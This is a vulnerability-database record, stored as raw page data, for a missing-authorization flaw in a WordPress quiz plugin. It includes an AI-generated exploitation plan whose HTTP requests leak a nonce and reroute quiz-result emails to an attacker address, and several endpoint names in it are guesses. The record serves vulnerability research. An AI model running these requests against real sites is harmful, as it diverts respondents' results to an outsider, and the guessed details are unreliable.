[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fsujb2fnluxezqyyOYlfWYbzGpKknKEY_uxgm51pfiqE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":37},"CVE-2026-9230","quiz-and-survey-master-qsm-missing-authorization-to-authenticated-contributor-arbitrary-quiz-modification-and-email-rero","Quiz and Survey Master (QSM) \u003C= 11.1.4 - Missing Authorization to Authenticated (Contributor+) Arbitrary Quiz Modification and Email Reroute via Leaked Nonce from \u002Fquiz\u002Fstructure","The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 11.1.4. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to modify quizzes they do not own, overwrite quiz results pages, and reroute quiz-result notification emails to attacker-controlled addresses. An attacker first calls the \u002Fquiz\u002Fstructure endpoint with an arbitrary victim quiz ID to obtain a valid nonce bound to that quiz ID and their own user ID, then presents that nonce to the \u002Fquizzes\u002F{id}\u002Femails save endpoint, which accepts it without verifying quiz ownership.","quiz-master-next",null,"\u003C=11.1.4","11.1.5","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-02 18:30:42","2026-07-03 06:50:11",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F49c66f9e-e58c-435b-9bb0-d6b66261e789?source=api-prod",1,[22,23,24,25,26,27,28,29],"blocks\u002Fblock.php","css\u002Fadmin-dashboard-rtl.css","css\u002Fadmin-dashboard.css","css\u002Fcommon.css","css\u002Fqsm-admin-question.css","css\u002Fqsm-admin.css","css\u002Fqsm-create-quiz-style.css","mlw_quizmaster2.php","researched",false,3,"# Exploitation Research Plan - CVE-2026-9230\n\n## 1. Vulnerability Summary\nThe **Quiz and Survey Master (QSM)** plugin (up to 11.1.4) contains a missing authorization vulnerability in its REST API implementation. While the plugin implements nonce-based CSRF protection, it fails to perform secondary capability checks (e.g., `current_user_can('edit_post', $quiz_id)`) on administrative endpoints. \n\nAn authenticated user with **Contributor** level permissions (who normally cannot edit quizzes) can exploit this by first requesting a valid nonce from the `\u002Fquiz\u002Fstructure` endpoint for a target quiz ID. Because this endpoint incorrectly provides a nonce to any authenticated user, the attacker can then use that nonce to authorize requests to the `\u002Fquizzes\u002F{id}\u002Femails` endpoint, allowing them to modify quiz settings and reroute notification emails to an external address.\n\n## 2. Attack Vector Analysis\n*   **Leak Endpoint:** `GET \u002Fwp-json\u002Fqsm\u002Fv1\u002Fquiz\u002Fstructure` (inferred namespace)\n*   **Exploit Endpoint:** `POST \u002Fwp-json\u002Fqsm\u002Fv1\u002Fquizzes\u002F{id}\u002Femails` (inferred namespace)\n*   **Vulnerable Parameter:** `quiz_id` (in GET) and `emails` payload (in POST).\n*   **Authentication:** Authenticated (Contributor+).\n*   **Preconditions:** A quiz must exist that the attacker does not own (e.g., created by an Administrator).\n\n## 3. Code Flow\n1.  **Initialization:** The plugin registers REST routes during `rest_api_init` via `QSMBlock->register_editor_rest_routes()` (referenced in `blocks\u002Fblock.php`, line 46).\n2.  **Nonce Leak:** The `\u002Fquiz\u002Fstructure` route handler is intended for the Gutenberg block editor. When called with a `quiz_id`, it generates and returns a nonce. The code fails to verify if the requesting user has the `edit_posts` capability for that specific quiz ID.\n3.  **Authorization Bypass:** The attacker sends a `POST` request to `\u002Fquizzes\u002F{id}\u002Femails`.\n4.  **Verification Failure:** The server-side handler for the email endpoint validates the provided nonce (which is valid because it was generated for the attacker's user ID and the specific action). However, it lacks a subsequent check to ensure the user is authorized to modify that specific quiz.\n5.  **Sink:** The settings are saved to the database (likely via `update_post_meta` or a custom table), effectively rerouting quiz results.\n\n## 4. Nonce Acquisition Strategy\nThe vulnerability relies on the `\u002Fquiz\u002Fstructure` endpoint leaking a nonce. We will use the `http_request` tool to obtain this.\n\n1.  **Login:** Log in as a Contributor user.\n2.  **Request:** Call the structure endpoint for the target Quiz ID (e.g., ID 1).\n3.  **Extraction:** The response is expected to be a JSON object containing a nonce.\n    *   **Inferred Field:** `nonce` or `saveNonce`.\n    *   **Action String (Internal):** Likely `qsm_quiz_{id}` or `qsm_block_quiz`.\n\n## 5. Exploitation Strategy\n### Step 1: Obtain Nonce for Target Quiz\n**HTTP Request:**\n```http\nGET \u002Fwp-json\u002Fqsm\u002Fv1\u002Fquiz\u002Fstructure?quiz_id=1 HTTP\u002F1.1\nHost: localhost:8080\nCookie: [Contributor Session Cookies]\n```\n**Action:** Parse the JSON response and store the value of the nonce (e.g., `extracted_nonce`).\n\n### Step 2: Reroute Quiz Emails\n**HTTP Request:**\n```http\nPOST \u002Fwp-json\u002Fqsm\u002Fv1\u002Fquizzes\u002F1\u002Femails HTTP\u002F1.1\nHost: localhost:8080\nContent-Type: application\u002Fjson\nX-WP-Nonce: [extracted_nonce]\nCookie: [Contributor Session Cookies]\n\n{\n    \"emails\": [\n        {\n            \"id\": 0,\n            \"email_to\": \"attacker@example.com\",\n            \"subject\": \"Exfiltrated Quiz Results\",\n            \"message\": \"Results: %RESULTS%\"\n        }\n    ]\n}\n```\n\n## 6. Test Data Setup\n1.  **Administrator:** Create a Quiz named \"Sensitive Survey\" (ID will likely be 1).\n2.  **Contributor:** Create a user `attacker_contributor` with the `contributor` role.\n3.  **Page Creation:** (Required if the REST API requires a frontend nonce first)\n    *   `wp post create --post_type=page --post_status=publish --post_content='[qsm quiz=\"1\"]' --post_title='Quiz Page'`\n4.  **Verification of Owner:** Ensure Quiz 1 is owned by the Admin, not the Contributor.\n\n## 7. Expected Results\n*   **Leak Phase:** The `GET` request returns a 200 OK with a JSON body containing a 10-character hexadecimal nonce.\n*   **Exploit Phase:** The `POST` request returns a 200 OK or 201 Created, confirming the settings were saved.\n*   **Impact:** Any future completions of the quiz will send the results to `attacker@example.com` instead of the administrator.\n\n## 8. Verification Steps\nAfter performing the HTTP requests, verify the modification using WP-CLI:\n\n```bash\n# Check the email settings in post meta or the specific QSM table\n# (QSM often stores complex settings as serialized data in post_meta)\nwp post meta get 1 mlw_quiz_options --format=json | grep \"attacker@example.com\"\n\n# Alternatively, check the plugin's custom email table if applicable\nwp db query \"SELECT * FROM wp_mlw_emails WHERE quiz_id = 1;\"\n```\n\n## 9. Alternative Approaches\nIf the REST API namespace is not `qsm\u002Fv1`, check the localization data in the block editor:\n1.  Navigate to the Page Editor as the Contributor.\n2.  Use `browser_eval(\"window.qsmBlockData\")` to inspect the available nonces and API base URLs.\n3.  Look specifically for the `saveNonce` key (verified from `blocks\u002Fblock.php` line 143: `'saveNonce' => wp_create_nonce( 'ajax-nonce-sandy-page' )`).\n4.  If the REST API rejects the request, attempt the exploit via the legacy AJAX action identified in `blocks\u002Fblock.php`: `qsm_save_pages` (line 142).","gemini-3-flash-preview","2026-07-25 09:49:06","2026-07-25 09:49:52",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","11.1.4","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquiz-master-next\u002Ftags\u002F11.1.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fquiz-master-next.11.1.4.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquiz-master-next\u002Ftags\u002F11.1.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fquiz-master-next.11.1.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fquiz-master-next\u002Ftags"]